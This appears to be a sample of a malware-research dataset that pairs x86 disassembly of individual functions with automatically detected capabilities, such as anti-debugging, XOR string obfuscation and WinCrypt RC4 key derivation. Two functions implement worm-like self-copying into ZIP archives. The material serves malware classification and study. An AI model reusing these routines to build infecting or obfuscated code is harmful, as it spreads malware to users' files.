joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10047510
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x10083e08
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.1007cebc
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.10046e70
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.1007cdea
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.100796c2
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.100796c2
push 1
push 0
push 0
mov ecx, esi
call fcn.1007966a
push 1
push 0
push 1
mov ecx, esi
call fcn.1007966a
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.1007cf2e
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x10047690
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x10083e28
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.1007cebc
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.10046e70
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.1007cdea
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x10047754
cmp dword [esp + 0x40], 1
jne 0x10047752
cmp ecx, eax
jge 0x10047754
mov eax, ecx
cmp eax, 0xc8
jge 0x10047760
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.10047510
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.1007cf2e
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x10047f50
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x10083ed3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.10077afc
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.1007d164
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.1007e680
test eax, eax
je 0x1004806c
mov ecx, dword [esp + 0x3c]
call fcn.1007d191
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x10048030
push edi
mov ecx, esi
call fcn.1007a7dd
mov ecx, esi
call fcn.10048210
cmp dword [esp + 0x38], 1
jne 0x10048065
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.1007a918
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x1004a250
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x1004a283
push esi
call fcn.10058610
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x1004a27c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x1004a309
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x1004a2f2
mov eax, dword [esi + 8]
test eax, eax
je 0x1004a2a7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x1004a2ee
cmp eax, 2
je 0x1004a2f2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x1004a29a
cmp eax, 3
je 0x1004a2cd
cmp eax, 1
jne 0x1004a29a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x1004a29a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x1004a29a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.1004a330
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x1004a318
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.1004a330
add esp, 4
pop esi
ret

Function at 0x1004abb0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x1004abd1
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x1004abd1
mov eax, dword [eax + 0x44]
test eax, eax
je 0x1004abd1
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1004b020
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x1004b02b
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x1004b12e
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x10373ad0]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x10373ad0]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x10373ad0]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x10373ad0]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x10373ad0]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x10373ad0]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x10373ad0]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x10373ad0]
xor eax, edx
inc ecx
dec edi
jne 0x1004b046
pop edi
test esi, esi
je 0x1004b150
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x10373ad0]
xor eax, edx
inc ecx
dec esi
jne 0x1004b132
pop esi
pop ebx
not eax
ret
Function at 0x100788d8
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x10078910
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.100769a9
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.10076981
jmp 0x1007891c
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x10079fc6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x1007a008
call fcn.1007f960
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x1007a008
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x10079fff
xor eax, eax
jmp 0x1007a010
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.1007a016
pop edi
pop esi
pop ebx
ret 4

Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret
Function at 0x4011c9
Capabilities:
Copy file
Create thread
Get file size
Read file on windows

Disassembly:
push 0x80
push 0x401005
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0x401085
push 0x401005
call sub.KERNEL32.dll_CopyFileA
push 0
push 0
push 3
push 0
push 1
push 0xc0000000
push 0x401085
call sub.KERNEL32.dll_CreateFileA
mov dword [0x401095], eax
push 0
push eax
call sub.KERNEL32.dll_GetFileSize
mov ebx, eax
push eax
push 0
call sub.KERNEL32.dll_GlobalAlloc
mov dword [0x401091], eax
push 0
push 0x401005
push ebx
push dword [0x401091]
push dword [0x401095]
call sub.KERNEL32.dll_ReadFile
push dword [0x401095]
call sub.KERNEL32.dll_CloseHandle
mov dword [0x401099], ebx
mov dword [0x401e8e], ebx
mov dword [0x401e92], ebx
mov dword [0x401e51], ebx
mov dword [0x401e55], ebx
push 0
push 0
push 0x4011a9
push 0
call sub.USER32.dll_MessageBoxA
push 0x40109d
push 0
push 0x4010a5
push 0x4025a3
push 0
push 0
call sub.KERNEL32.dll_CreateThread
mov ebx, eax
push 0x4010a1
push 0
push 0
push 0x4025d1
push 0
push 0
call sub.KERNEL32.dll_CreateThread
mov esi, eax
push 0xffffffffffffffff
push ebx
call sub.KERNEL32.dll_WaitForSingleObject
push 0xffffffffffffffff
push esi
call sub.KERNEL32.dll_WaitForSingleObject
jmp 0x401e0c
push 0
call sub.KERNEL32.dll_ExitProcess
Function at 0x401e3d
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
jmp 0x401eb1
mov dword [0x401e66], esi
mov ecx, dword [0x401e51]
mov esi, dword [0x401091]
call fcn.00402090
mov dword [0x401e8a], eax
mov dword [0x401e4d], eax
push 0
push 0
push 3
push 0
push 1
push 0xc0000000
push dword [0x401e66]
call sub.KERNEL32.dll_CreateFileA
mov dword [0x401e6a], eax
inc eax
je 0x402067
dec eax
push 0
push dword [0x401e6a]
call sub.KERNEL32.dll_GetFileSize
mov dword [0x401e6e], eax
push dword [0x401e6e]
push 0
call sub.KERNEL32.dll_GlobalAlloc
mov dword [0x401e72], eax
push 0
push 0x401e76
push dword [0x401e6e]
push eax
push dword [0x401e6a]
call sub.KERNEL32.dll_ReadFile
push dword [0x401e6a]
call sub.KERNEL32.dll_CloseHandle
mov edi, dword [0x401e72]
add edi, dword [0x401e6e]
sub edi, 4
cmp dword [edi], 0x6054b50
je 0x401f5b
dec edi
jmp 0x401f50
jmp 0x402073
mov esi, dword [edi + 0x10]
push 0
push 0
push 2
push 0
push 1
push 0xc0000000
push dword [0x401e66]
call sub.KERNEL32.dll_CreateFileA
mov dword [0x401e6a], eax
mov ebx, dword [0x401e72]
push 0
push 0x401e76
push esi
push ebx
push dword [0x401e6a]
call sub.KERNEL32.dll_WriteFile
add ebx, esi
push 0
push 0x401e76
push 0x27
push 0x401e3f
push dword [0x401e6a]
call sub.KERNEL32.dll_WriteFile
push 0
push 0x401e76
push dword [0x401099]
push dword [0x401091]
push dword [0x401e6a]
call sub.KERNEL32.dll_WriteFile
mov ecx, dword [edi + 0xc]
push 0
push 0x401e76
push ecx
push ebx
push dword [0x401e6a]
call sub.KERNEL32.dll_WriteFile
mov dword [0x401ea4], esi
push 0
push 0x401e76
push 0x37
push 0x401e7a
push dword [0x401e6a]
call sub.KERNEL32.dll_WriteFile
mov ebx, dword [0x401ea4]
add ebx, 0x27
add ebx, dword [0x401e51]
mov ecx, dword [edi + 0xc]
add ecx, 0x37
mov dword [edi + 0xc], ecx
inc word [edi + 0xa]
inc word [edi + 8]
mov dword [edi + 0x10], ebx
mov ebx, dword [0x401e72]
add ebx, dword [0x401e6e]
sub ebx, edi
push 0
push 0x401e76
push ebx
push edi
push dword [0x401e6a]
call sub.KERNEL32.dll_WriteFile
push dword [0x401e6a]
call sub.KERNEL32.dll_CloseHandle
push dword [0x401e72]
call sub.KERNEL32.dll_GlobalFree
ret
pushal
cmp dword [edi], 0x2014b50
je 0x40207f
dec edi
jmp 0x402074
lea edi, [edi + 0x2e]
cmp dword [edi], 0x43415243
popal
je 0x402067
jmp 0x401f60
Function at 0x10001240
Capabilities:
Encode data using xor

Disassembly:
push 0xcc
mov eax, 0x10009da4
call fcn.10009d22
mov edi, ecx
mov dword [ebp - 0xb0], edi
mov dword [ebp - 0xb0], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0x98
mov ebx, eax
lea eax, [ebp - 0xa8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
pop ecx
pop ecx
lea ecx, [ebp - 0xa8]
call fcn.1000195c
xor edx, edx
mov dword [ebp - 4], edx
mov ecx, edx
movaps xmm0, xmmword [0x1000b510]
movups xmmword [ebp - 0xc4], xmm0
mov dword [ebp - 0xb4], 0x255e0a
mov al, byte [ebp - 0xc4]
xor byte [ebp + ecx - 0xc3], al
inc ecx
cmp ecx, 0x12
jb 0x100012a4
mov byte [ebp - 0xb1], dl
lea ecx, [ebp - 0xa8]
lea edx, [ebp - 0xc3]
call fcn.10001ba0
push 0x10001fb1
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
push 0x10001f97
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
push 0
mov esi, eax
lea eax, [ebp - 0xd8]
push 8
push eax
call dword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov ecx, eax
mov eax, dword [esi]
push dword [ecx + 0xc]
mov eax, dword [eax + 4]
push dword [ecx + 8]
add eax, esi
push eax
call dword [ecx]
mov eax, dword [esi]
add esp, 0x18
mov ecx, esi
mov eax, dword [eax + 4]
push ebx
mov byte [eax + esi + 0x40], 0x30
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
mov byte [ebp - 0xaa], 0
mov dl, 0x72
mov byte [ebp - 0xaa], 0
mov al, 0x2f
mov byte [ebp - 0xac], dl
xor al, dl
lea edx, [ebp - 0xab]
mov byte [ebp - 0xab], al
call fcn.10001ba0
push edi
lea ecx, [ebp - 0xa4]
call fcn.10001abe
lea ecx, [ebp - 0x58]
call fcn.1000192c
lea ecx, [ebp - 0x58]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov eax, edi
call fcn.10009ce0
ret
Function at 0x1000257f
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
lea eax, [ecx + 1]
push 4
mov esi, eax
pop edi
mov dl, byte [ecx]
xor byte [esi], dl
inc esi
sub edi, 1
jne 0x10002589
pop edi
pop esi
mov byte [ecx + 5], 0
ret

Function at 0x10002655
Capabilities:
Encode data using xor
Encrypt data using rc4 via winapi
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
movaps xmm0, xmmword [0x1000b580]
movups xmmword [ebp - 0x34], xmm0
push ebx
movaps xmm0, xmmword [0x1000b570]
xor ebx, ebx
movups xmmword [ebp - 0x24], xmm0
mov ecx, ebx
movaps xmm0, xmmword [0x1000b4e0]
push esi
movups xmmword [ebp - 0x14], xmm0
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x2e
jb 0x10002682
push ebx
push 1
lea eax, [ebp - 0x33]
mov byte [ebp - 5], bl
push eax
push ebx
push 0x1000fba4
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x10002766
push 0x1000fba0
push ebx
push ebx
push 0x8004
push dword [0x1000fba4]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x10002766
movaps xmm0, xmmword [str.VE]
mov ecx, ebx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x10], 0x164e181f
movaps xmm0, xmmword [0x1000b550]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0xc], 0x1c4a0c3e
movaps xmm0, xmmword [0x1000b560]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 8], 0x5f0e042b
mov word [ebp - 4], 3
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x3c
jb 0x1000270b
push 1
push 0x3c
lea eax, [ebp - 0x3f]
mov byte [ebp - 3], bl
push eax
push dword [0x1000fba0]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x10002766
push 0x1000fb9c
push 0x800000
push dword [0x1000fba0]
push 0x6801
push dword [0x1000fba4]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x10002766
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x1000fb98], eax
call fcn.100079a0
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.10007e70
mov ebx, 0x1000259a
push ebx
push 0x1000fb94
call fcn.100076b0
call fcn.10007a00
push 4
push 0x60f6e0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100027d1
mov dword [0x1000fb94], 0x60f6e0
call fcn.100079a0
call esi
push eax
call fcn.10007e70
push ebx
push 0x1000fb94
call fcn.10007220
call fcn.10007a00
call fcn.100079a0
call esi
push eax
call fcn.10007e70
mov ebx, 0x100025bc
push ebx
push 0x1000fb90
call fcn.100076b0
call fcn.10007a00
push 4
push 0x60eab0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000282b
mov dword [0x1000fb90], 0x60eab0
call fcn.100079a0
call esi
push eax
call fcn.10007e70
push ebx
push 0x1000fb90
call fcn.10007220
call fcn.10007a00
pop esi
pop ebx
leave
ret
Function at 0x10004194
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x1000e040]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1000b540]
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x20], ecx
push edi
mov edi, edx
mov byte [ebp - 0x24], bl
movups xmmword [ebp - 0x34], xmm0
mov ecx, ebx
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0xf
jb 0x100041be
sub esp, 0x18
mov byte [ebp - 0x24], bl
lea eax, [ebp - 0x33]
mov ecx, esp
push eax
call fcn.1000216b
lea ecx, [ebp - 0x1c]
call fcn.10005d8b
add esp, 0x18
test edi, edi
jle 0x10004221
cmp dword [ebp - 8], 0xf
lea esi, [ebp - 0x1c]
cmova esi, dword [ebp - 0x1c]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x100041f9
sub esi, ecx
mov eax, ebx
cmp dword [ebp - 8], 0xf
lea ecx, [ebp - 0x1c]
cmova ecx, dword [ebp - 0x1c]
xor edx, edx
div esi
mov al, byte [edx + ecx]
mov ecx, dword [ebp - 0x20]
xor byte [ebx + ecx], al
inc ebx
cmp ebx, edi
jl 0x100041eb
lea ecx, [ebp - 0x1c]
call fcn.10001f74
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10008d55
leave
ret
Function at 0x100045c0
Capabilities:
Encode data using xor

Disassembly:
push 0x5c
mov eax, 0x1000a10e
call fcn.10009d22
mov esi, ecx
test esi, esi
je 0x10004732
xor ebx, ebx
lea edi, [ebp - 0x34]
push 7
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
mov dword [ebp - 0x34], vtable.ByteBuffer.0
mov byte [ebp - 0x30], 1
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x18]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], 0x20
call fcn.10005251
mov dword [ebp - 0x34], vtable.Packet.0
xor edi, edi
inc edi
mov dword [ebp - 4], edi
cmp dword [esi + 4], ebx
jle 0x10004688
mov eax, dword [esi + 8]
lea ecx, [ebp - 0x50]
push dword [esi + 4]
mov al, byte [eax]
mov byte [ebp - 0x14], al
call fcn.10004f36
push edi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x50], vtable.Packet.0
call fcn.100050d2
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x34]
call fcn.1000415b
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x50], vtable.ByteBuffer.0
call fcn.100052e9
mov eax, dword [esi + 4]
test eax, eax
jle 0x10004688
dec eax
lea ecx, [ebp - 0x34]
push eax
mov eax, dword [esi + 8]
inc eax
push eax
call fcn.100050d2
cmp byte [0x1000fbc0], 0
jne 0x1000471b
mov eax, dword [ebp - 0x24]
mov ecx, ebx
mov edi, dword [ebp - 0x20]
movaps xmm0, xmmword [0x1000b5b0]
sub edi, eax
mov dword [ebp - 0x18], eax
movups xmmword [ebp - 0x64], xmm0
mov byte [ebp - 0x54], bl
mov al, byte [ebp - 0x64]
xor byte [ebp + ecx - 0x63], al
inc ecx
cmp ecx, 0xf
jb 0x100046b0
sub esp, 0x18
mov byte [ebp - 0x54], bl
lea eax, [ebp - 0x63]
mov ecx, esp
push eax
call fcn.1000216b
lea ecx, [ebp - 0x4c]
call fcn.10005d8b
add esp, 0x18
test edi, edi
jle 0x10004713
cmp dword [ebp - 0x38], 0xf
lea esi, [ebp - 0x4c]
cmova esi, dword [ebp - 0x4c]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x100046eb
sub esi, ecx
mov eax, ebx
cmp dword [ebp - 0x38], 0xf
lea ecx, [ebp - 0x4c]
cmova ecx, dword [ebp - 0x4c]
xor edx, edx
div esi
mov al, byte [edx + ecx]
mov ecx, dword [ebp - 0x18]
xor byte [ebx + ecx], al
inc ebx
cmp ebx, edi
jl 0x100046dd
lea ecx, [ebp - 0x4c]
call fcn.10001f74
lea ecx, [ebp - 0x34]
call fcn.1000449d
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x34], vtable.ByteBuffer.0
call fcn.100052e9
call fcn.10009ce0
ret